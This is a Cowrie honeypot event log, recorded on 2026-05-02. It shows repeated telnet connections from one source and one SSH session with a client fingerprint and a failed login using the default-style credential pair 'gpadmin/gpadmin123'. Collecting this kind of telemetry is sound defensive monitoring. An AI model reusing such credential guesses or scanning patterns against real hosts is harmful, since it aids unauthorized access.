{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":41640,"dst_ip":"159.203.135.109","dst_port":23,"session":"cc840f6da1e7","protocol":"telnet","message":"New connection: 207.244.226.215:41640 (159.203.135.109:23) [session: cc840f6da1e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:36:25.112714Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":42186,"dst_ip":"159.203.135.109","dst_port":23,"session":"35a9ec256712","protocol":"telnet","message":"New connection: 207.244.226.215:42186 (159.203.135.109:23) [session: 35a9ec256712]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:36:25.413642Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":44032,"dst_ip":"159.203.135.109","dst_port":23,"session":"6d687a18015c","protocol":"telnet","message":"New connection: 207.244.226.215:44032 (159.203.135.109:23) [session: 6d687a18015c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:36:26.586897Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":44478,"dst_ip":"159.203.135.109","dst_port":23,"session":"625c9584bea5","protocol":"telnet","message":"New connection: 207.244.226.215:44478 (159.203.135.109:23) [session: 625c9584bea5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:36:26.845601Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":45754,"dst_ip":"159.203.135.109","dst_port":23,"session":"7a5eb9ae1aa7","protocol":"telnet","message":"New connection: 207.244.226.215:45754 (159.203.135.109:23) [session: 7a5eb9ae1aa7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:36:27.532580Z"}
{"eventid":"cowrie.session.closed","duration":30.317472457885742,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:36:28.014073Z","src_ip":"207.244.226.215","session":"f3e7836dcb37","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"92.205.57.72","src_port":57140,"dst_ip":"10.17.0.5","dst_port":22,"session":"b6fa980cd15a","protocol":"ssh","message":"New connection: 92.205.57.72:57140 (10.17.0.5:22) [session: b6fa980cd15a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:36:28.928469Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:36:28.933488Z","src_ip":"92.205.57.72","session":"b6fa980cd15a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:36:29.023692Z","src_ip":"92.205.57.72","session":"b6fa980cd15a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gpadmin","password":"gpadmin123","message":"login attempt [gpadmin/gpadmin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:36:29.414410Z","src_ip":"92.205.57.72","session":"b6fa980cd15a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":49014,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb074579c8b0","protocol":"telnet","message":"New connection: 207.244.226.215:49014 (159.203.135.109:23) [session: eb074579c8b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:36:29.488132Z"}
{"eventid":"cowrie.session.connect","src_ip":"14.103.121.78","src_port":64128,"dst_ip":"10.17.0.5","dst_port":22,"session":"3bf94c245c50","protocol":"ssh","message":"New connection: 14.103.121.78:64128 (10.17.0.5:22) [session: 3bf94c245c50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:36:29.565175Z"}
{"eventid":"cowrie.session.closed","duration":31.348731756210327,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:36:29.932857Z","src_ip":"207.244.226.215","session":"9bbf252b59ea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.58214235305786,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:36:30.023053Z","src_ip":"207.244.226.215","session":"b3ad094c669c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":50054,"dst_ip":"159.203.135.109","dst_port":23,"session":"edd0a9b208a4","protocol":"telnet","message":"New connection: 207.244.226.215:50054 (159.203.135.109:23) [session: edd0a9b208a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:36:30.173990Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":50304,"dst_ip":"159.203.135.109","dst_port":23,"session":"722fd303e303","protocol":"telnet","message":"New connection: 207.244.226.215:50304 (159.203.135.109:23) [session: 722fd303e303]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:36:30.324964Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:36:30.506743Z","src_ip":"92.205.57.72","session":"b6fa980cd15a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":51198,"dst_ip":"159.203.135.109","dst_port":23,"session":"8d726c6d0b14","protocol":"telnet","message":"New connection: 207.244.226.215:51198 (159.203.135.109:23) [session: 8d726c6d0b14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:36:30.937998Z"}
{"eventid":"cowrie.session.closed","duration":30.6963472366333,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:36:31.105942Z","src_ip":"207.244.226.215","session":"d9d556339bac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":53354,"dst_ip":"159.203.135.109","dst_port":23,"session":"da9add588e17","protocol":"telnet","message":"New connection: 207.244.226.215:53354 (159.203.135.109:23) [session: da9add588e17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:36:32.390450Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":54086,"dst_ip":"159.203.135.109","dst_port":23,"session":"e01da8377675","protocol":"telnet","message":"New connection: 207.244.226.215:54086 (159.203.135.109:23) [session: e01da8377675]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:36:32.820247Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":54102,"dst_ip":"159.203.135.109","dst_port":23,"session":"1670c1ac0523","protocol":"telnet","message":"New connection: 207.244.226.215:54102 (159.203.135.109:23) [session: 1670c1ac0523]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:36:32.836279Z"}
{"eventid":"cowrie.session.closed","duration":31.047558784484863,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:36:34.620728Z","src_ip":"207.244.226.215","session":"6dfbb93b68cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":57918,"dst_ip":"159.203.135.109","dst_port":23,"session":"7e8ce454737b","protocol":"telnet","message":"New connection: 207.244.226.215:57918 (159.203.135.109:23) [session: 7e8ce454737b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:36:35.130684Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":33722,"dst_ip":"159.203.135.109","dst_port":23,"session":"b7d0410312b3","protocol":"telnet","message":"New connection: 207.244.226.215:33722 (159.203.135.109:23) [session: b7d0410312b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:36:37.482798Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":37616,"dst_ip":"159.203.135.109","dst_port":23,"session":"6593159ed001","protocol":"telnet","message":"New connection: 207.244.226.215:37616 (159.203.135.109:23) [session: 6593159ed001]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:36:39.804092Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":37858,"dst_ip":"159.203.135.109","dst_port":23,"session":"85e16fd84f7c","protocol":"telnet","message":"New connection: 207.244.226.215:37858 (159.203.135.109:23) [session: 85e16fd84f7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:36:39.962358Z"}
{"eventid":"cowrie.session.closed","duration":31.065480947494507,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:36:40.061252Z","src_ip":"207.244.226.215","session":"2047a2891ede","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":38460,"dst_ip":"159.203.135.109","dst_port":23,"session":"a77681d4e972","protocol":"telnet","message":"New connection: 207.244.226.215:38460 (159.203.135.109:23) [session: a77681d4e972]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:36:40.357163Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":38518,"dst_ip":"159.203.135.109","dst_port":23,"session":"5eb0fbc8bf31","protocol":"telnet","message":"New connection: 207.244.226.215:38518 (159.203.135.109:23) [session: 5eb0fbc8bf31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:36:40.396211Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":39142,"dst_ip":"159.203.135.109","dst_port":23,"session":"d67aa8ff0668","protocol":"telnet","message":"New connection: 207.244.226.215:39142 (159.203.135.109:23) [session: d67aa8ff0668]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:36:40.797395Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":39649,"dst_ip":"159.203.135.109","dst_port":23,"session":"beccc87eb9aa","protocol":"telnet","message":"New connection: 207.244.226.215:39649 (159.203.135.109:23) [session: beccc87eb9aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:36:41.115386Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":39988,"dst_ip":"159.203.135.109","dst_port":23,"session":"4448d0f38441","protocol":"telnet","message":"New connection: 207.244.226.215:39988 (159.203.135.109:23) [session: 4448d0f38441]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:36:41.308988Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":40042,"dst_ip":"159.203.135.109","dst_port":23,"session":"1a40f48cf5fc","protocol":"telnet","message":"New connection: 207.244.226.215:40042 (159.203.135.109:23) [session: 1a40f48cf5fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:36:41.347238Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":39578,"dst_ip":"159.203.135.109","dst_port":23,"session":"6632cff78d8c","protocol":"telnet","message":"New connection: 207.244.226.215:39578 (159.203.135.109:23) [session: 6632cff78d8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:36:42.071911Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":39428,"dst_ip":"159.203.135.109","dst_port":23,"session":"35562d199cab","protocol":"telnet","message":"New connection: 207.244.226.215:39428 (159.203.135.109:23) [session: 35562d199cab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:36:43.971370Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":44246,"dst_ip":"159.203.135.109","dst_port":23,"session":"c5d47edb00da","protocol":"telnet","message":"New connection: 207.244.226.215:44246 (159.203.135.109:23) [session: c5d47edb00da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:36:44.041875Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":44524,"dst_ip":"159.203.135.109","dst_port":23,"session":"70cf5ae09e92","protocol":"telnet","message":"New connection: 207.244.226.215:44524 (159.203.135.109:23) [session: 70cf5ae09e92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:36:44.201748Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":45886,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a0c9a426982","protocol":"telnet","message":"New connection: 207.244.226.215:45886 (159.203.135.109:23) [session: 2a0c9a426982]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:36:45.170607Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":49140,"dst_ip":"159.203.135.109","dst_port":23,"session":"aa2e6e44a049","protocol":"telnet","message":"New connection: 207.244.226.215:49140 (159.203.135.109:23) [session: aa2e6e44a049]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:36:47.238028Z"}
{"eventid":"cowrie.session.closed","duration":30.747883319854736,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:36:47.484693Z","src_ip":"207.244.226.215","session":"8baab6a54e27","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.17089295387268,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:36:49.511220Z","src_ip":"207.244.226.215","session":"77cafb4b5b19","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.34189486503601,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:36:50.030422Z","src_ip":"207.244.226.215","session":"126015c0c743","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.032302618026733,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:36:51.093184Z","src_ip":"207.244.226.215","session":"f4f010ef5652","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.60031485557556,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:36:52.194893Z","src_ip":"207.244.226.215","session":"5e6fb0f7116c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.672892093658447,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:36:53.023146Z","src_ip":"207.244.226.215","session":"9889052b324f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":57788,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f40f8430da8","protocol":"telnet","message":"New connection: 207.244.226.215:57788 (159.203.135.109:23) [session: 1f40f8430da8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:36:53.041700Z"}
{"eventid":"cowrie.session.closed","duration":30.62409543991089,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:36:53.085791Z","src_ip":"207.244.226.215","session":"93b7508db227","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.236188411712646,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:36:54.085208Z","src_ip":"207.244.226.215","session":"c5c06817fb81","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":59570,"dst_ip":"159.203.135.109","dst_port":23,"session":"782ee70e9e06","protocol":"telnet","message":"New connection: 207.244.226.215:59570 (159.203.135.109:23) [session: 782ee70e9e06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:36:54.096473Z"}
{"eventid":"cowrie.session.closed","duration":30.65316677093506,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:36:55.225539Z","src_ip":"207.244.226.215","session":"e5cd708f31a1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.91085195541382,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:36:56.023638Z","src_ip":"207.244.226.215","session":"cc840f6da1e7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.684682846069336,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:36:56.098202Z","src_ip":"207.244.226.215","session":"35a9ec256712","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.43767786026001,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:36:57.024450Z","src_ip":"207.244.226.215","session":"6d687a18015c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.351069688796997,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:36:57.196559Z","src_ip":"207.244.226.215","session":"625c9584bea5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.501832962036133,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:36:58.034293Z","src_ip":"207.244.226.215","session":"7a5eb9ae1aa7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":38148,"dst_ip":"159.203.135.109","dst_port":23,"session":"de84031533af","protocol":"telnet","message":"New connection: 207.244.226.215:38148 (159.203.135.109:23) [session: de84031533af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:36:58.251788Z"}
{"eventid":"cowrie.session.closed","duration":31.378864765167236,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:37:00.866885Z","src_ip":"207.244.226.215","session":"eb074579c8b0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.862840175628662,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:37:01.036653Z","src_ip":"207.244.226.215","session":"edd0a9b208a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.12427258491516,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:37:01.062159Z","src_ip":"207.244.226.215","session":"8d726c6d0b14","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.140933990478516,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:37:01.465780Z","src_ip":"207.244.226.215","session":"722fd303e303","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":45150,"dst_ip":"159.203.135.109","dst_port":23,"session":"9dc9dab4751b","protocol":"telnet","message":"New connection: 207.244.226.215:45150 (159.203.135.109:23) [session: 9dc9dab4751b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:37:02.656321Z"}
{"eventid":"cowrie.session.closed","duration":30.237998723983765,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:37:03.058088Z","src_ip":"207.244.226.215","session":"e01da8377675","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.7205491065979,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:37:03.110873Z","src_ip":"207.244.226.215","session":"da9add588e17","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":46876,"dst_ip":"159.203.135.109","dst_port":23,"session":"407480d355fe","protocol":"telnet","message":"New connection: 207.244.226.215:46876 (159.203.135.109:23) [session: 407480d355fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:37:03.694330Z"}
{"eventid":"cowrie.session.closed","duration":31.13819646835327,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:37:03.974297Z","src_ip":"207.244.226.215","session":"1670c1ac0523","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.926478624343872,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:37:06.057029Z","src_ip":"207.244.226.215","session":"7e8ce454737b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":49674,"dst_ip":"159.203.135.109","dst_port":23,"session":"1d8af78daef9","protocol":"telnet","message":"New connection: 207.244.226.215:49674 (159.203.135.109:23) [session: 1d8af78daef9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:37:06.363758Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":51386,"dst_ip":"159.203.135.109","dst_port":23,"session":"93b0ccb3c8c6","protocol":"telnet","message":"New connection: 207.244.226.215:51386 (159.203.135.109:23) [session: 93b0ccb3c8c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:37:06.452727Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":52312,"dst_ip":"159.203.135.109","dst_port":23,"session":"36084ce6cbd9","protocol":"telnet","message":"New connection: 207.244.226.215:52312 (159.203.135.109:23) [session: 36084ce6cbd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:37:07.049509Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":53236,"dst_ip":"159.203.135.109","dst_port":23,"session":"b9ed4935796e","protocol":"telnet","message":"New connection: 207.244.226.215:53236 (159.203.135.109:23) [session: b9ed4935796e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:37:08.636309Z"}
{"eventid":"cowrie.session.closed","duration":31.265326499938965,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:37:08.747983Z","src_ip":"207.244.226.215","session":"b7d0410312b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.07842516899109,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:37:10.040640Z","src_ip":"207.244.226.215","session":"85e16fd84f7c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.258703231811523,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:37:10.062701Z","src_ip":"207.244.226.215","session":"6593159ed001","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":53630,"dst_ip":"159.203.135.109","dst_port":23,"session":"bc23a63bd139","protocol":"telnet","message":"New connection: 207.244.226.215:53630 (159.203.135.109:23) [session: bc23a63bd139]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:37:10.874410Z"}
{"eventid":"cowrie.session.closed","duration":30.65725302696228,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:37:11.014321Z","src_ip":"207.244.226.215","session":"a77681d4e972","protocol":"telnet"}
